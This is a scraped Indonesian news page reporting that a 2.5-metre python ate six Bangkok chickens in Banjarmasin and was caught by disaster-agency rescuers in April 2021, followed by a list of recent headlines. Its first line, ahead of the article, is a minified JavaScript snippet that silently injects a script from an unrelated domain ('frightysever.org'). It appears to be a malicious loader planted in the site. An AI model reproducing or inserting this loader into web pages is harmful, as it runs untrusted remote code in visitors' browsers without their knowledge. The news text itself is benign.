(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Mangsa 6 Ayam Bangkok, Seekor Ular Sanca Sepanjang 2,5 Meter Ditangkap


KANALKALIMANTAN.COM, BANJARMASIN – Ular piton yang memangsa peliharaan Bambang, warga Jalan Cemara Raya 2, Kelurahan Sungai Miai, Kecamatan Banjarmasin Utara, akhirnya berhasil ditangkap, Senin (26/4/2021) pagi.

Anggota Tim Rescue dan TRC (Tim Reaksi Cepat) Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarmasin, Hanafi mengatakan, hewan melata jenis Sanca Kembang tersebut sudah beberapa hari terakhir membuat penghuni rumah dan warga sekitar resah.

“Soalnya sebelum ditangkap, ular ini sudah ada empat ekor ayam bangkok,” ujar Hanafi
Bahkan saat ditangkap ular berukuran 2,5 meter ini sedang asyik menikmati mangsanya. Satu ayam sudah ditelan dan satu lagi sedang dililitnya.

 

Baca juga: BREAKING NEWS. Api Lahap Rumah Makan di Kayu Tangi Banjarmasin

Hanafi juga menjelaskan, si pemilik sudah beberapa hari mengincar hewan buas tersebut untuk ditangkap. Bahkan Bambang pun sudah melaporkan kepada petugas Animal Rescue bahwa sejak pertama kali ayam kesayangannya dimangsa beberapa hari sebelum penangkapan.

Namun dalam proses evakuasi pihaknya tidak menemui kendala yang berarti. Sehingga mudah untuk ditangkap.

“Sering lolos, jadi sulit untuk ditangkap. Beruntung hari ini si ular sedang melilit ayam bangkok di dalam kurungan. Jadi lumayan mudah menangkapnya,” ucap Hanafi.

Baca juga: Gerakan Sadar Pajak PBB, Pemko Terima Hibah Mobil Layanan dari Bank Kalsel

Diketahui, hingga saat ini total ada enam ayam bangkok milik warga yang sudah dimangsanya.

Setelah diamankan, hewan yang biasa disebut masyarakat dengan nama Ular Sawa itu rencananya akan dilakukan karantina supaya tidak stress ketika dilepas liarkan ke alam bebas.

“Kita akan koordinasikan dengan BKSDA (Balai Konservasi Sumber Daya Alam) Provinsi Kalimantan Selatan untuk melepas ular ini ke habitat aslinya,” pungkas Hanafi.(Kanalkalimantan/Tius)

Reporter: tius
Editor: cell


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.